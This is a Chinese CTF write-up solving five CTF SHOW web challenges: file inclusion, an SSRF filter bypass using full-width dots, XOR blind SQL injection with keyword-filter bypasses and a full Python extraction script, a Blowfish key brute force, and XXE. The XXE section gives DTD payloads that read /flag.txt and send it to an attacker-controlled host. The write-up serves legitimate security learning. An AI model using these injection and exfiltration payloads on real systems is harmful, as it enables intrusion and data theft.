1. 程式人生 > 實用技巧 >CTF SHOW WEB_AK賽

CTF SHOW WEB_AK賽

CTF SHOW平臺的WEB AK賽:

  • 簽到_觀己

    <?php
    ​
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        if(preg_match('/php/i', $file)){
            die('error');
        }else{
            include($file);
        }
    ​
    }else{
        highlight_file(__FILE__);
    }
    ​
    ?>

    簡單的程式碼審計,這裡進行過濾了 php ,應該是為了禁止使用php偽協議,然後包含傳入的file檔案,我們可以直接猜測根目錄下存在flag檔案

    payload為:

    ?file=/flag.txt

    獲得flag

  • WEB1_觀字

    簡單的程式碼審計

    <?php
    ​
    #flag in http://192.168.7.68/flag
    if(isset($_GET['url'])){
        $url = $_GET['url'];
        $protocol = substr($url, 0,7);
        if($protocol!='http://'){
            die('僅限http協議訪問');
        }
        if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
            die('僅限域名地址訪問');
        }
        system('curl '.$url);
    }

    首先給出了提示:

    #flag in http://192.168.7.68/flag

    flag在內網伺服器的根目錄下,而我們一般都是使用SSRF漏洞進行內網探測。

    然後限制傳入的url的協議只能是http

    $url = $_GET['url'];
        $protocol = substr($url, 0,7);
        if($protocol!='http://'){
            die('僅限http協議訪問');
        }

    過濾了一些特殊字元

    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
            die('僅限域名地址訪問');
        }

    第一個過濾的字元就是符號 點 ,但想要探測IP的時候會用到 . ,尋找替代字元

    使用句號替代點,構造payload為:

    ?url=http://192。168。7。68/flag

  • WEB2_觀星

    訪問頁面,可以看到有三篇文章

    點選之後可以看到每篇文章的內容不一樣,且URL格式為:

    index.php?id=1

    猜測是SQL注入漏洞

    輸入單引號後顯示被攔截

    使用異或符號檢測(為什麼用異或符號?這個看個人習慣和直覺吧)

    構造payload為:

    index.php?id=1^2

    index.php?id=1^3

    1^2為01^10,結果為11,即3

    1^3為01^11,結果為10,即2

    得到的結果與我們的預想一致,存在SQL異或盲注漏洞

    SQL盲注的payload一般為(我們根據題目條件進行相應構造):

    id=1^if(ascii(substr(database(),1,1))=102,2,3)

    使用 substr 函式擷取database()的每一位字母

    使用 ascii 函式獲取相應字母的 ascii 碼

    使用 if 判斷 ascii 碼 是多少,雖然二分法效率比較高,但是對邊界條件需要考慮,所以一般情況下不如直接使用等號強行判斷ascii值

    為真則返回2,為假則返回3

    1^2,1^3的結果在前面我們已經判斷了,得到不同的文章,可以通過返回頁面的結果進行判斷

    原理就是這樣,使用上述payload,關鍵字被過濾

    進行SQL注入繞過,繞過學習自羽師傅的部落格:

    https://blog.csdn.net/miuzzx/article/details/107706685

    對上面的payload進行轉換:

    空格使用括號來代替:這個很常見,也有的時候會使用註釋來替換空格

    單引號十六進位制來代替 : 常見,如果在查詢欄位名的時候表名被過濾,或是資料庫中某些特定字元被過濾,則可用16進位制繞過:

    select column_name from information_schema.columns where table_name=0x7573657273;

    0x7573657273為users的16進位制

    substr 中的逗號,使用 substr(database() from 1 for 1) 來代替substr(database(),1,1):

    substr(database(),1,1)

    從第1位字元起,擷取 database()值的第一位

    substr(database() from 1 for 1)

    對比上面的payload,就可以知道 from for 是啥意思了

    from 為從第幾個字元開始,for為擷取幾個

    如果 for 也被過濾了,使用 mid 和 reverse 函式進行繞過

    if 中有逗號,使用 case when 來代替 if

    用法舉例:

    if(database()='xxx',sleep(3),1)

    case when 替換繞過語句為:

    case when database()='xxx' then sleep(3) else 1 end

    ascii 使用 ord 來進行替換:

    ORD()函式返回字串中第一個字元的ASCII值

    等號like 使用 regexp 來進行代替:

    關於REGEXP,有文章:https://xz.aliyun.com/t/8003

    REGEXP編寫帶有正則表示式的SQL語句,在全文相等的情況下替代等號

    於是可以構造payload

    id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end

    最終獲取flag的指令碼為:

    import requests
    ​
    baseurl='http://426c70b1-b58c-4b5e-8e2d-abf5bde77c46.chall.ctf.show/index.php?id=1^'
    value=""
    for i in range(1,50):
        print("i=" + str(i))
        for j in range(38,128):
            # paylaod='case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end'.format(i,j)
            #paylaod='case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
            # paylaod='case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
            paylaod='case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
            # "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i, j)
            newurl=baseurl+paylaod
            rep=requests.get(newurl).text
            # print(rep)
            if "I asked nothing" in rep:
                print(value)
                value+=chr(j)
                break

    做的時候學習了不少繞過的技巧

    不過這個指令碼跑的時候好像最後一位跑不出來,得靠自己猜,比如出列名的時候為 fla,猜出為flag,還沒發現為啥

    補齊括號提交

  • WEB3_觀圖

    檢視原始碼

    看這個樣子存在檔案包含漏洞,訪問該網址

    看起來 Z6Ilu83MIDw= 像base64加密,解密失敗

    直接訪問 showImage.php 檔案,發現原始碼

    <?php
    ​
    //$key = substr(md5('ctfshow'.rand()),3,8);
    //flag in config.php
    include('config.php');
    if(isset($_GET['image'])){
        $image=$_GET['image'];
        $str = openssl_decrypt($image, 'bf-ecb', $key);
        if(file_exists($str)){
            header('content-type:image/gif');
            echo file_get_contents($str);
        }
    }else{
        highlight_file(__FILE__);
    }
    ?>

    從 file_get_contents 可以看出是檔案包含利用

    程式碼裡面提示了我們:

    //flag in config.php

    檔名是使用DES加密

    $str = openssl_decrypt($image, 'bf-ecb', $key);

    加密所需的key在:

    $key = substr(md5('ctfshow'.rand()),3,8);

    而PHP rand()函式產生的數值的範圍最大為32768,我們可以編寫指令碼進行爆破,爆破指令碼為:

    <?php
        for($i=0;$i<=32768;$i++){
            echo $i.'<br>';
            $key = substr(md5('ctfshow'.$i),3,8);
            $str=openssl_decrypt("Z6Ilu83MIDw=",'bf-ecb',$key);
            if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
                echo "key is ".$i.'<br>';
                 break;
            }
        }
            

    線上環境執行一下,可知key is 27347

    獲得key後得到config.php的加密後的檔名 : ?image=N6bf8Bd8jm0SpmTZGl0isw==

    <?php
        $key = substr(md5('ctfshow'.'27347'),3,8);
    ​
        $str=openssl_encrypt("config.php",'bf-ecb',$key);
        echo $str;

    將訪問到的圖片儲存在本地,使用notepad++開啟

  • WEB4_觀心

    點選占卜,可以看到api.php向外部請求了一個xml檔案

    可以推測是xml外部實體注入,即XXE漏洞

    同時因為是向公網上的伺服器發起請求,所以我們需要使用自己公網伺服器構造攻擊鏈

    在伺服器上先編寫一個test.xml

    <?xml version="1.0" encoding="utf-8"?> 
    ​
    <!DOCTYPE test [ 
    ​
    <!ENTITY % remote SYSTEM "http://ip/test.dtd"> 
    ​
    %remote;%int;%send; ]>
    ​
    <reset><login>bee</login><secret>Any bugs?</secret></reset>

    用於請求外部dtd文件

    test.dtd也在伺服器上

    <!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
    <!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>">
    %p2;

    XXE漏洞還不熟,等把upload靶場重做一遍後再深入學習一下XXE,本關大部分參考其他大佬的部落格

    接著burpsuite修改api引數訪問即可獲取flag

    獲得flag:flag{0ff30e5b-b292-4026-965e-fdaa2d482c58}

參考連結: